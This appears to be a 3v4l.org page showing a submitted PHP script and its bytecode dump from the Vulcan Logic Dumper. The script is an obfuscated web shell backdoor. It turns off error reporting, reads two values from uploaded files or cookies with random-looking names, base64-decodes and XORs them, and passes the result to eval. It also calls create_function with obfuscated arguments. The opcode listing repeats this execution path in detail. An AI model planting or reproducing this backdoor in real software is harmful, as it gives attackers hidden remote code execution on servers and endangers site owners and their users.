3v4l.org

run code in 300+ PHP versions simultaneously
<?php error_reporting(0); ini_set(error_reporting, 0); $v50 = $llrj = (!empty($_FILES["pbklk78uy"])) ? file_get_contents($_FILES["pbklk78uy"]["tmp_name"]) : $_COOKIE["pbklk78uy"]; $tytr = (!empty($_FILES["outzdfhgy8uj"])) ? file_get_contents($_FILES["outzdfhgy8uj"]["tmp_name"]) : $_COOKIE["outzdfhgy8uj"]; $tvdlhn = base64_decode($llrj) ^ base64_decode($tytr); @eval($tvdlhn); $v54 = create_function($v55, $v50); $v54('$cXN0H0=H|;y1v4ozWki,$R^ufZ"z', 'e*Dk,@m:wh_.'); ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 12, Position 2 = 20
Branch analysis from position: 12
1 jumps found. (Code = 42) Position 1 = 23
Branch analysis from position: 23
2 jumps found. (Code = 43) Position 1 = 29, Position 2 = 37
Branch analysis from position: 29
1 jumps found. (Code = 42) Position 1 = 40
Branch analysis from position: 40
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 37
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 20
2 jumps found. (Code = 43) Position 1 = 29, Position 2 = 37
Branch analysis from position: 29
Branch analysis from position: 37
filename:       /in/g0cKr
function name:  (null)
number of ops:  62
compiled vars:  !0 = $v50, !1 = $llrj, !2 = $tytr, !3 = $tvdlhn, !4 = $v54, !5 = $v55
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   INIT_FCALL                                               'error_reporting'
          1        SEND_VAL                                                 0
          2        DO_ICALL                                                 
    3     3        INIT_FCALL                                               'ini_set'
          4        FETCH_CONSTANT                                   ~7      'error_reporting'
          5        SEND_VAL                                                 ~7
          6        SEND_VAL                                                 0
          7        DO_ICALL                                                 
    5     8        FETCH_IS                                         ~9      '_FILES'
          9        ISSET_ISEMPTY_DIM_OBJ                         1  ~10     ~9, 'pbklk78uy'
         10        BOOL_NOT                                         ~11     ~10
         11      > JMPZ                                                     ~11, ->20
         12    >   INIT_FCALL                                               'file_get_contents'
         13        FETCH_R                      global              ~12     '_FILES'
         14        FETCH_DIM_R                                      ~13     ~12, 'pbklk78uy'
         15        FETCH_DIM_R                                      ~14     ~13, 'tmp_name'
         16        SEND_VAL                                                 ~14
         17        DO_ICALL                                         $15     
         18        QM_ASSIGN                                        ~16     $15
         19      > JMP                                                      ->23
         20    >   FETCH_R                      global              ~17     '_COOKIE'
         21        FETCH_DIM_R                                      ~18     ~17, 'pbklk78uy'
         22        QM_ASSIGN                                        ~16     ~18
         23    >   ASSIGN                                           ~19     !1, ~16
         24        ASSIGN                                                   !0, ~19
    6    25        FETCH_IS                                         ~21     '_FILES'
         26        ISSET_ISEMPTY_DIM_OBJ                         1  ~22     ~21, 'outzdfhgy8uj'
         27        BOOL_NOT                                         ~23     ~22
         28      > JMPZ                                                     ~23, ->37
         29    >   INIT_FCALL                                               'file_get_contents'
         30        FETCH_R                      global              ~24     '_FILES'
         31        FETCH_DIM_R                                      ~25     ~24, 'outzdfhgy8uj'
         32        FETCH_DIM_R                                      ~26     ~25, 'tmp_name'
         33        SEND_VAL                                                 ~26
         34        DO_ICALL                                         $27     
         35        QM_ASSIGN                                        ~28     $27
         36      > JMP                                                      ->40
         37    >   FETCH_R                      global              ~29     '_COOKIE'
         38        FETCH_DIM_R                                      ~30     ~29, 'outzdfhgy8uj'
         39        QM_ASSIGN                                        ~28     ~30
         40    >   ASSIGN                                                   !2, ~28
    7    41        INIT_FCALL                                               'base64_decode'
         42        SEND_VAR                                                 !1
         43        DO_ICALL                                         $32     
         44        INIT_FCALL                                               'base64_decode'
         45        SEND_VAR                                                 !2
         46        DO_ICALL                                         $33     
         47        BW_XOR                                           ~34     $32, $33
         48        ASSIGN                                                   !3, ~34
    9    49        BEGIN_SILENCE                                    ~36     
         50        INCLUDE_OR_EVAL                                          !3, EVAL
         51        END_SILENCE                                              ~36
   10    52        INIT_FCALL_BY_NAME                                       'create_function'
         53        SEND_VAR_EX                                              !5
         54        SEND_VAR_EX                                              !0
         55        DO_FCALL                                      0  $38     
         56        ASSIGN                                                   !4, $38
   11    57        INIT_DYNAMIC_CALL                                        !4
         58        SEND_VAL_EX                                              '%24cXN0H0%3DH%7C%3By1v4ozWki%2C%24R%5EufZ%22z'
         59        SEND_VAL_EX                                              'e%2ADk%2C%40m%3Awh_.'
         60        DO_FCALL                                      0          
   13    61      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
179.72 ms | 1400 KiB | 21 Q